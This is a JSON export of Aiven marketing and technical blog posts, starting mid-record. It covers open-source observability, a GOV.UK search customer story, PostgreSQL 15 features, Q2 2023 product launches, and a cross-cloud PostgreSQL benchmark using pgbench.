programming](https://aiven.io/blog/introduction-to-event-based-programming)","categories":[{"_key":"1baca99d8a92","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"0c3132aea977","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"8c0a277d1112","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-a5d16a4deb05da1675ab3bfa60b8d7216bdac36c-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-09T10:24:57.362Z","related":[{"_key":"b55169420cf2","_ref":"4lLkmyrsLLZ2asRfGakbUs","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Find out about challenges some innovators in our data community face, and how event streaming has helped meet the challenge (with a bit of help from friends).","metaTitle":"Event streaming can solve your problems"},"slug":{"_type":"slug","current":"/blog/solving-problems-with-event-streaming"},"subtitle":"Find out about the challenges some of the amazing innovators in our data community are facing, and how event streaming has helped them meet those challenges (with a little bit of help from their friends).","title":"Solving problems with event streaming"}
{"__i18n_lang":"en","_createdAt":"2023-01-10T11:31:03Z","_id":"31bd6760-3411-4c1c-8164-9a8e2242d8bf","_rev":"lhvtNBOlLYH5KiQFQ8YKul","_type":"post","_updatedAt":"2024-01-29T15:37:46Z","authors":[{"_key":"f02eed46dd41","_ref":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_type":"reference"}],"body":"As the observability market and its supporting technology have evolved, open source has become central to solving the data collection challenge. The bigger difficulty is scaling the data storage and improving analytics along with visualization. With technologies like [OpenSearch®](https://aiven.io/opensearch) and [Prometheus](https://aiven.io/docs/platform/howto/integrations/prometheus-metrics), we’ve seen new databases and data platforms take their place in many organizations to solve observability. \n\nThere are two major reasons for this change: \n\n- Re-instrumenting applications and infrastructure when observability tooling changes is expensive and time-consuming. \n- Organizations are tired of vendor lock-in where it comes to observability tooling.\n\n## Fighting the tide\nThe last of the current generation of observability tools are fighting hard to preserve their proprietary instrumentation, but it's only a matter of time before they must support open source. And lip service won’t be enough--they’ll have to provide meaningful support, equivalent to the way they have supported their own proprietary instrumentation. \n\nAs a longtime practitioner, analyst, engineering, and product leader, this is the reason I’ve focused on open source observability in my career for the last 3 years. I believe we have to look at the bigger picture of data platforms. This is why I joined Aiven recently. My hypothesis is that the observability and monitoring market will undergo a similar evolution that data platforms have been undergoing.  \n\nThe same trend with proprietary components is apparent in data platforms and architectures. The major cloud providers are making the same mistake: creating proprietary components in their service offerings. For example, why would a cloud provider build their own messaging components, or database query languages, or APIs? Proprietary components create challenges for users who try to create portable environments. The users become locked in. \n\nSome cloud providers are better at adopting open source software, but most of them do so in concert with a proprietary system. All major cloud providers have weaknesses in their open source offerings and compatibility, the depth of the lock-in is what varies between their service offerings.\n\n## The open source advantage\nThese are the primary reasons why I believe that Aiven’s approach of open source based data platforms and streaming which are fully portable, migratable, and easily managed across clouds is an advantage. I do not know of any other tools that can move these critical components across clouds with a click of a button or an API call, with little to no downtime. It’s impressive on many fronts, and the ease of management is unsurpassed. \n\n\u003e  *I do not know of any other tools that can move these critical components across clouds with a click of a button or an API call, with little to no downtime.*\n\nMoving across clouds is more relevant than ever. Most organizations seem to undertake re-platforming their components every 5 years in good economic times. In the current economic downturn and the high cost of cloud services, these timelines for cloud portability will likely accelerate. It is therefore essential for the data platform to support all the major clouds along with portability. \n\nBeing able to move services easily helps you find the best possible pricing with cloud providers, by solving the  migration of core data services. Keeping cloud providers competing with one another is critical in optimizing IT spend and can lead to considerable cost savings.\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business?utm_source=ebook\u0026utm_medium=internal\u0026utm_campaign=transformation_ebook\u0026utm_content=the-replatforming-challenge\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\n## Data pipelines of the future\nThe future path for our data platform is to incorporate more user-defined code and application code to extend the platform within Aiven’s walls. These data pipelines, driven by open source technologies, provide flexibility to recompose and analyze data in unique ways. \n\nThis will be critical for the creation of future-proof data architectures. This in turn allows supporting code for the data pipeline to run close to the database or streaming platforms themselves. \n\nWe are so excited by what [Apache Flink®](https://aiven.io/flink) and [Apache Kafka® Connect](https://aiven.io/kafka) can do for the Aiven platform. Expect more news on these trends soon. \n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"f0cf3f1a73a3","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"2c5b0c8a785c","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-90d9df32035e728692777fc6626f22ff154e4b4a-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-01-16T13:59:49.277Z","related":[{"_key":"3a55308dbad5","_ref":"000de593-35b7-4375-b2d9-400d7b9a043e","_type":"reference"},{"_key":"1a499a5559dc","_ref":"2067d9d5-96dc-4f71-81ff-9b7da70f5918","_type":"reference"},{"_key":"e29f65865222","_ref":"c9fb1065-9cdd-4552-addb-b4f76b92901e","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Aiven overcoming obstacles in replatforming | Read more"},"slug":{"_type":"slug","current":"/blog/the-replatforming-challenge"},"subtitle":"The observability market is evolving towards open source, and for good reasons. Find out where Jonah Kowall thinks it's going.","title":"The replatforming challenge"}
{"__i18n_lang":"en","_createdAt":"2022-07-04T12:14:42Z","_id":"4UiFOlqBKJ2Da9HxhJFdR2","_rev":"neae7oL4y1FotDvvR2MiT9","_type":"post","_updatedAt":"2024-07-09T13:54:48Z","authors":[],"body":"Aiven, a company combining open source streaming and data management technologies with cloud infrastructure is proud of its work with Government Digital Service (GDS) since 2018, helping government departments, arms-length bodies and local services use Aiven’s services with no additional procurement or information assurance due diligence. \n\n[The GOV.UK Platform as a Service (PaaS)](https://gov.uk/ \"GOV.UK\") product was created through the work of GDS in 2015 and now hosts more than 60 departments and public sector organisations.\n\n\nGDS is a unit of the UK Government’s Cabinet Office tasked with transforming the provision of online public services. Set up in 2011, it was established to improve the way the Government built new technology platforms and transform how it publishes and digitises its services. It’s widely seen as the gold standard of government digital strategies, influencing similar initiatives in the United States, Canada, and beyond.\n\n![GOV.UK Customer Story London](//cdn.sanity.io/images/sczeoy4w/production/92461d4f7b72f09ed7f100d4457450b04f964609-1200x640.jpg)\n\nThe GOV.UK PaaS is part of the Government as a Platform programme, a vision for digital government based around a common core infrastructure of shared digital systems, technology, and processes on which it’s easy to build user-centric government services. \n\nA major requirement for GOV.UK PaaS is to provide a powerful search service on its cloud hosting platform because the ability to search is imperative for many government services. The GOV.UK PaaS team had already settled on the then open source project Elasticsearch as the technology on which to build its search solution. However, it needed an Elasticsearch provider which could match its requirements for APIs, security, information assurance, performance, and price.\n\nGOV.UK PaaS, therefore, laid out a series of requirements for its commercial Elasticsearch service provider:\n\n- A public REST API to manage the lifecycle of the service\n- An API to manage the lifecycle of API tokens\n- An API to manage the platform in general\n- Strong security, with full compliance\n- High performance\n- Reasonable price\n- A partner that was flexible and willing to work with GOV.UK in fulfilling any gaps in the offering provided the asks were reasonable\n\nThe GOV.UK PaaS team was also looking to utilise open source technologies where possible, so it was looking for a service provider that embraced open source too, with Aiven for OpenSearch chosen by the UK Government.\n\nHeikki Nousiainen, CTO of Aiven commented, “We are delighted to have expanded our offering with GDS over the years. Since the contract began in 2018, Aiven’s solution has been able to meet the GOV.UK PaaS requirements, having been the only provider shortlisted that published APIs to manage all aspects of the service.” \n\n----\n\nAre you leaving Elasticsearch to keep your business open source? [Learn how to migrate your Elasticsearch client to OpenSearch®](https://aiven.io/blog/migrate-elasticsearch-client-to-opensearch) in Python, Java and Node.js.\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay up to date with our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n## Further reading\n\n- [Life after the GOV.UK PaaS](https://aiven.io/blog/life-after-the-gov-uk-paas)\n","categories":[{"_key":"6FWlUxDXERbtNrYX2asRv6","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"cTFgXaFCq9wmNPSKbqAxq","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-ba1b70ab116adba5c833a1d2ef2eb2a4f2fd555b-1920x1037-jpg","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-65c24cb5b92246a2abf669cb5fc3f7fa7d361db6-1567x844-png","_type":"reference"}},"publishedAt":"2022-07-04T00:00:00.000Z","seo":{"metaDescription":"Aiven for OpenSearch was chosen by the UK Government to run search for its expansive GOV.UK Platform as a Service.","metaImage":{"alt":"","asset":{"_ref":"image-65c24cb5b92246a2abf669cb5fc3f7fa7d361db6-1567x844-png","_type":"reference"}},"metaTitle":"Aiven for OpenSearch was chosen for GOV.UK [Customer Story]"},"slug":{"_type":"slug","current":"/blog/aiven-for-opensearch-was-chosen-for-gov-uk-customer-story"},"subtitle":"Aiven for OpenSearch was chosen by the UK Government to run search for its expansive GOV.UK Platform as a Service.","title":"Aiven for OpenSearch was chosen for GOV.UK"}
{"__i18n_lang":"en","_createdAt":"2023-01-24T06:10:49Z","_id":"960bf5f6-3b4e-40d9-a78a-114f31759cda","_rev":"wrL3XfbFeRNCpCZoxxHRE4","_type":"post","_updatedAt":"2024-07-11T08:41:15Z","authors":[{"_key":"a7288a372692","_ref":"5a16a911-c8fc-479c-8760-cb02d321aa7f","_type":"reference"}],"body":"After only a three-month gap since its October release, we’re delighted to bring PostgreSQL® 15 to Aiven. The new version comes with a wealth of new capabilities and performance enhancements that make managing workloads in local and distributed environments more efficient, and provide a better developer experience. \n\n## Release highlights\n### Better sort performance and compression \n[According to the PostgreSQL Global Development Group](https://www.postgresql.org/about/news/postgresql-15-released-2526/), PostgreSQL 15’s new algorithms for both in-memory and on-disk sorting result in 25-400% performance improvements. New window functions also enhances performance, as does parallel execution of `SELECT DISTINCT` queries.\n\n\n### Developer features\nThe SQL standard `MERGE` command has been added to PostgreSQL 15, allowing you to to conditionally `INSERT`, `UPDATE` or `DELETE` rows.\n\nYou can also now inspect strings with regular expressions including `regexp_count(),` `regexp_instr()`, `regexp_like()`, and `regexp_substr()`.\n\nThe aggregation function has been extended to multirange data types.\n\n### Other changes\n\n- Updated public schema permissions: the PUBLIC schema is no longer writable by default.\n- In logical replication, PostgreSQL 15 now provides row filtering and column lists for publishers.\n- You can now set the ICU collation as default for a cluster or an individual database.\n- Allows unique constraints and indexes to treat NULL values as not distinct\n- Allows foreign key `ON DELETE SET` actions to affect only specified columns\n\nTo find out more about these and all the other new features, check out the [PostgreSQL web page](https://www.postgresql.org/about/news/postgresql-15-released-2526/).\n\n## Get started with PostgreSQL 15\nUpgrade to PostgreSQL 15 to take advantage of these features. If you already use Aiven for PostgreSQL, you can [run an in-place upgrade](https://aiven.io/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven) to migrate to the newest version.\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e\n\n\n## Further reading\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)","categories":[{"_key":"4ed8ece0ef9f","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"a20490c3c8f4","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-12cc0e45abb9f6f2debca7b3e14d9fc21a093a0f-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-03T12:09:54.808Z","related":[{"_key":"1989e08c7078","_ref":"5xYduY1JNWW2r0A65rR3iz","_type":"reference"},{"_key":"c8b278aecbd0","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"d6f12ecc7ad9","_ref":"5HvSGI64xMitqiheeX6a66","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/announcing-aiven-for-postgresql-15"},"subtitle":"Aiven brings PostgreSQL® version 15 to your data infrastructure. Find out what the key improvements are and how you can get the new version.\n","title":"Announcing Aiven for PostgreSQL® 15"}
{"__i18n_lang":"en","_createdAt":"2023-07-31T12:54:01Z","_id":"577fa3d1-0ee8-42eb-b60d-c4ba693d1a15","_rev":"jlE3yG3C5Lxk0cUOqcohfa","_type":"post","_updatedAt":"2024-05-27T12:38:52Z","authors":[{"_key":"84167cb05c51","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"Time flies here at Aiven! Last quarter was a busy one with our team releasing many new products and features that enable our existing and new customers to decrease their Total Cost of Ownership (TCO), integrate vector search with operational data, add High Availability (HA) to the management of their Kafka infrastructure and much more. Take a closer look at some of the main product launches in Q2 2023 below! \n\n\n### Aiven introduced free plans for PostgreSQL®, MySQL and Redis®*\n\nBack in April 2023, Aiven introduced free plans for all for Aiven for PostgreSQL,  Aiven for MySQL, and Aiven for Caching to support the company’s mission to build the trusted open source data platform for everyone and enable developers around the world with the best open source data and streaming technologies.\n\nThe free plans are available across [nine AWS regions globally], and have the following specifications:\n\n- Single node\n- 1 CPU\n- 1GB RAM\n- For PostgreSQL and MySQL: 5GB storage\n\nThe free plans are designed to support developers who might be kicking off a new project or exploring alternatives to an existing solution, and can now easily get started with popular open source databases at no cost. What's more, if they need extra capacity, users of the free plans can easily upgrade to a paid plan with no interruption.\n\nAlongside the free service plans, we also launched the [Aiven Community Forum](https://aiven.io/community/forum/) - a space for developers to collaborate, share knowledge and help others with the applications they are building with open source data technologies. Users can share what they are working on, get support on challenges that they are facing, ask questions and get answers. If you haven’t joined the Community Forum yet, you can join today [here](https://aiven.io/community/forum/) and introduce yourself to the community.\n\n\n### Aiven’s Bring-Your-Own-Cloud (BYOC) deployment model reaches general availability\n\nIn May 2023, Aiven introduced a new deployment model for the Aiven Platform enabling customers to achieve a lower Total-Cost-of-Ownership (TCO) while keeping full control of their data. Bring-Your-Own-Cloud (BYOC) allows customers to deploy Aiven services directly into their own public cloud account - and enjoy the Aiven service experience across all 11 of the open source services that we provide. \n\nBring-Your-Own-Cloud (BYOC) connects a customer’s own AWS, Google Cloud, or Microsoft Azure VPC to the Aiven platform, making it possible to deploy Aiven services directly to their own cloud account. This means that all compute, storage, and networking infrastructure services - and associated costs - remain under a customer’s direct control.\n\n\n![How Bring Your Own Cloud (BYOC) works](https://cdn.sanity.io/images/sczeoy4w/production/bcd923a433c0375eb13233df964e7ac3dcf24c97-1500x620.webp?w=450)\n\nFind out more in our blog: [Optimize your cloud data infrastructure spend with Aiven’s Bring Your Own Cloud (BYOC)](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc)\n\n\n### Aiven brings [Vector Search](https://aiven.io/developer/find-faces-with-pgvector) capabilities in Aiven for PostgreSQL® with pgvector\n\nJune 2023 saw the release of the pgvector extension in Aiven for PostgreSQL, allowing developers to store vectorized data in the popular database, and perform similarity searches with SQL. The new pgvector extension bridges the gap between Machine Learning and transactional data while unlocking new capabilities on top of customer data such as:\n\n- The ability to **create a recommendation system** that only suggests products in stock with PostgreSQL's ACID features by joining product information and stock levels, then performing a vector search.\n- The option to **build an anomaly detection system** to understand patterns, by combining the power of [vector search](https://aiven.io/developer/find-faces-with-pgvector) and trend analytics, defining good behaviors, and generating alerts for non-compliant scenarios.\n- The capability to **build Natural Language Processing pipelines** to deliver tailored insights based on prompts, by taking advantage of the combination of Large Language Models (LLMs) and pgvector.\n\nExplore more of the unlocked use cases in our blog: [Enabling Vector Search in Aiven for PostgreSQL® with pgvector](https://aiven.io/blog/aiven-for-postgres-supports-pgvector)\n\n\n### Klaw version 2.4\n\nQ2 2023 saw the upgrade of Klaw, the open source Apache Kafka® governance tool driven by Aiven, to version 2.4. Klaw helps users of Apache Kafka to define team ownership over topics and connectors and allows approval flows corresponding to specific business unit organizations in Apache Kafka. The latest version brings additional features and capabilities, including: \n\n- Redesigned screens with React UI\n- Password reset with token\n- Enhanced email notifications\n- Improved error responses to UI\n\nFor a full list of the features added in [Klaw 2.4](https://www.klaw-project.io/docs/Releases/release240) check the [release announcement](https://www.klaw-project.io/docs/Releases/release240).\n\n\n### New additions to Aiven for Apache Flink®\n\nThe functionality of Aiven for Apache Flink was further enhanced in Q2 2023 with the addition of a built-in [CDC Connector for PostgreSQL](https://aiven.io/docs/products/flink/howto/pg-cdc-connector) and the ability to consume and produce data to any instance of Apache Kafka reachable by the Aiven services, whether it is managed by Aiven or not.\n\nThe new functionalities aim at providing a streaming SQL layer on top of your data, no matter where it resides. At the same time, they unlock new use cases such as capturing row changes to a PostgreSQL database with Change Data Capture (CDC) in real time.\n\n![Capture row changes to a PostgreSQL database in real time with Aiven's Change Data Capture (CDC) connector for Apache Flink](https://cdn.sanity.io/images/sczeoy4w/production/7bd351948fc9646acbecb64868fcd7ff64a29721-1500x753.webp?w=450)\n\nFor more information on the latest additions to Aiven for Apache Flink, check our blog: [What’s new with Aiven for Apache Flink® - Q2 2023]\n\n\n### Improved security with Aiven and GitHub's secret scanning partnership\n\nIn May 2023 we announced Aiven’s partnership with the GitHub secret scanning program to enable customers to scan private repositories for Aiven secrets and API tokens, something that was previously only possible on public repositories. This partnership further enhances the security of customers’ repositories on GitHub by helping customers keep their code and secrets safe.\n\nLearn more about the partnership in our blog: [Improving security: Aiven and GitHub's secret scanning partnership](https://aiven.io/blog/aiven-and-github's-secret-scanning-partnership)\n\n\n### Aiven expands its complete portfolio of technologies via self-service through the AWS Marketplace\n\n\nBack in April 2023, Aiven announced that the full power of its open source data platform is seamlessly available to AWS customers via the AWS Marketplace. The announcement marked a significant milestone with AWS with deeper collaboration and closer partnership. \n\nAmong other benefits, AWS customers can now seamlessly leverage their existing commitments with AWS to expand their tech stack with Aiven open source services. They can also take advantage of 40+ AWS service connectors such as CloudWatch, S3, VPC peering, Transit Gateway, and Private Link for easy integrations and security with existing AWS workloads.\n\nRead more in our blog: [Aiven Expands Data Platform on AWS Marketplace](https://aiven.io/blog/aiven-expands-data-platform-on-aws-marketplace)\n\n![Aiven Platform on the AWS Marketplace](https://cdn.sanity.io/images/sczeoy4w/production/30fcc0f6c96f43c3506730c67eeb5592208cfa24-1500x1459.webp?w=450)\n\n\n### Aiven customers can now update their support tier directly through the Aiven console\n\nFrom May 2023, all Aiven customers have the capability to [update their Support Tier directly through the Aiven Console](https://aiven.io/docs/platform/howto/change-support-tier). This greatly simplifies the customer experience by allowing the customer to directly select between Basic, Priority, Business, and Enterprise support in the Aiven Console.\n\n\n### Get started today\n\nThis was only a glimpse of the new features brought to you by Aiven in Q2 2023.\n\nIf you haven’t tried Aiven yet, be sure to sign up for a [free trial](https://console.aiven.io/signup) and get a first-hand experience of all the new functionality mentioned above or follow our [changelog](https://aiven.io/changelog) for the full list of updates on the Aiven Console.\n\nWe are also organizing a webinar where our product team will talk more about the capabilities developed in Q2 and give a glimpse of what’s coming in Q3 2023  and beyond. Be sure to sign up below.\n\n::banner[WEBINAR: What’s new with Aiven Q2/Q3 2023]{ctaText=\"Sign up today\" ctaLink=\"https://aiven.io/webinar/whats-new-with-aiven-q2q3-2023\" background=\"\" theme=\"dark\"}\n\nTo get the latest news about Aiven and our services, subscribe to our [monthly newsletter](https://aiven.io/newsletter)!\n\n","categories":[{"_key":"130d18986f2b","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Platform, open source data platform, data platform, PostgreSQL, Vector Search, pgvector, AWS marketplace, Apache Flink, product updates","asset":{"_ref":"image-78c551416272661fd8e013f5ba0fb7b7b169fd8f-1200x628-png","_type":"reference"}},"publishedAt":"2023-08-02T08:13:00.000Z","related":[{"_key":"43aed1029b35","_ref":"1408bc7f-be88-4390-a8b0-2b1e157f6fbe","_type":"reference"},{"_key":"58e0e7f1f88f","_ref":"1fa5e66f-b5e1-4c65-9eef-5802e2153f86","_type":"reference"},{"_key":"534774189e77","_ref":"0d6dfe94-b3d8-4b4e-be11-228510ed43c9","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"What’s new with the Aiven Platform in Q2 2023? Get the details of what our product and engineering teams released in the second quarter of 2023. ","metaImage":{"_type":"mainImage","alt":"Aiven Platform, open source data platform, data platform, PostgreSQL, Vector Search, pgvector, AWS marketplace, Apache Flink, product updates","asset":{"_ref":"image-78c551416272661fd8e013f5ba0fb7b7b169fd8f-1200x628-png","_type":"reference"}},"metaTitle":"What's new at Aiven: Q2/2023"},"slug":{"_type":"slug","current":"/blog/whats-new-at-aiven-q22023"},"subtitle":"What’s new with the Aiven Platform in Q2 2023? Get the details of what our product and engineering teams released in the second quarter of 2023. ","title":"What's new at Aiven: Q2/2023"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3yLuVWne7YQkrv7Uf5iokY","_rev":"neae7oL4y1FotDvvR2OMYJ","_type":"post","_updatedAt":"2024-07-09T14:05:25Z","authors":[{"_key":"18lKiN5RtOROLctA1YAtdZ","_ref":"18lKiN5RtOROLctA1YAtdZ","_type":"reference"}],"body":"At Aiven, we’ve run different [PostgreSQL cloud performance](https://aiven.io/blog/postgresql-cloud-performance) benchmarks since 2016. In this update, we’ve compared write performance metrics for PostgreSQL 13.4 between Amazon Web Services (AWS), Google Cloud Platform (GCP) and Microsoft Azure across four benchmarks.\n\nOur four benchmarks measured and compared the performance of PostgreSQL 13.4 running on AWS, GCP and Azure in each of the following four [Aiven managed PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\") plan configurations:\n![PG Benchmark graphs tables2](//cdn.sanity.io/images/sczeoy4w/production/bee6bd09b5f590226bf801e0fca36ea1cc7133ed-1567x625.jpg \"Aiven plans tested\")\n## Method\nTo examine performance, we measured the number of database transactions per second while vertically scaling up the nodes. This way the number of nodes remained the same, but the amount of CPUs, RAM and storage on each node increased.\n\nWe generated load using pgbench, which we ran on another VM in the same cloud and region. The load generator commands for each plan were as follows:\n\n```\n$ pgbench --client=\u003cstartup_plan\u003e --jobs=2 --report-latencies --time=3600 --log --aggregate-interval=1 keepalives='1' keepalives_count='12' keepalives_idle='180' keepalives_interval='10' sslmode='require'\n```\n\nThe variable for the startup plan being tested was the --client switch. The values for the four startup plans were, descriptively enough we hope, 4, 16, 32, and 64.\n\nThe load generator instance types used were as follows:\n- AWS: m4.large\n- GCP: n2d-standard-2 \n- Azure: standard_DS2_v2\n\nAs in a production PostgreSQL (PG) setup, the local SSDs running PG used LUKS full-disk encryption with WAL archiving enabled. The PG instances under test were initialized as follows (shown here without connection parameters):\n\n```\n$ pgbench --initialize --scale=\u003cscale\u003e --quiet keepalives='1' keepalives_count='12' keepalives_idle='180' keepalives_interval='10' sslmode='require'\n```\n\nThe --scale parameter was adjusted to accommodate each plan; in this case, the DB size was roughly double the size of RAM, with the possible values of 500, 1500, 2500, and 4500.\n\nTo minimize the effects of variable latency on our benchmark, we used a comparable central Europe region for each provider:\n\n- AWS: eu-central-1\n- GCP: europe-west3\n- Azure: germany-westcentral (* westeurope; see results below)\n\nFinally, we concluded the benchmark by calculating the average mTPS/$ per PG plan according to publicly available pricing information.\n\n## Transactions per second\n\n### Aiven Startup-4 plans\n![PG Benchmark graphs](//cdn.sanity.io/images/sczeoy4w/production/9a1e35ed5f4eca2e8c7ded98de7c19d3b5799e0f-1567x844.png \"Startup-4 performance\")\n\n### Aiven Startup-16 plans\n![PG Benchmark graphs2](//cdn.sanity.io/images/sczeoy4w/production/23037502ee22969bc30c9b496983f3d2f3be7b33-1567x844.png \"Startup-16 performance\")\n\n### Aiven Startup-32 plans\n![PG Benchmark graphs3](//cdn.sanity.io/images/sczeoy4w/production/3fac12c342aef47889389e8f1dbb8f53f16f3e47-1567x844.png \"Startup-32 performance\")\n### Aiven Startup-64 plans\nFor the startup-64 plan on Azure in germany-westcentral region, we noted abnormally low performance. An identical test on westeurope was more in line with expectations, where the instance type was standard_l8s_v2 with fewer CPU cores, but higher RAM.\n![PG Benchmark graphs4](//cdn.sanity.io/images/sczeoy4w/production/3f5fb3eba6a33c9bd7983e25c2cdca0fb5a7062c-1567x844.png \"Startup-64 performance\")\n## mTPS/$ average per service plan size\nPerformance value was calculated as an average of millions of transactions per second per dollar or (mTPS/$) for each cloud provider. \n\nWe found that, overall, the performance/cost difference between cloud providers quite substantially favored Google. As before, Startup-4 plans were an exception:\n\n![PG Benchmark graphs tables1](//cdn.sanity.io/images/sczeoy4w/production/3b9f8fc569312168deeb79b2280cc9b4552f7028-1567x1354.jpg \"Transactions per second per dollar for each cloud provider\")\n\n## Wrapping up\nMany factors affect PostgreSQL performance, including latency differences between the regions, but didn’t differentiate for in this benchmark. There is also another factor to consider, which is variably-sized workloads. In this benchmark, the basic idea was to generate a significant load on tested services by using a large number of parallel client connections.\n\nWe always recommend that standalone PostgreSQL users identify performance bottlenecks and tune their database configuration, workload or hardware configuration to optimize. However, in our managed PostgreSQL services, PostgreSQL system parameters come preconfigured for typical workloads, and you can try out different hardware configurations by choosing different Aiven for PostgreSQL plans.\n\nWe also recommend you to run your own benchmarks, and we will soon publish our Terraform benchmarking scripts that allow easily repeating similar performance tests. \n\nWe’ll be publishing more benchmarks like these soon, so stay tuned!\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"6M8DLtFLBnGLS1UOa20n4K","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-3eb1b1efb1b5f0343cbbd0a0668ed0af38005b02-1567x844-png","_type":"reference"}},"publishedAt":"2021-09-16T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Welcome to our latest benchmark figures for Aiven for PostgreSQL on AWS, GCP and MS Azure. Find out how Aiven services perform across clouds.","metaImage":{"alt":"","asset":{"_ref":"image-3eb1b1efb1b5f0343cbbd0a0668ed0af38005b02-1567x844-png","_type":"reference"}},"metaTitle":"Optimizing Aiven for PostgreSQL® 13 on Cloud Platforms "},"slug":{"_type":"slug","current":"/blog/aiven-for-postgresql-13-performance-on-gcp-aws-and-azure-benchmark"},"subtitle":"Welcome to our latest benchmark figures for Aiven for PostgreSQL on AWS, GCP and MS Azure. Find out how Aiven services perform across clouds.","title":"Aiven for PostgreSQL® 13 performance on GCP, AWS and Azure [Benchmark]"}
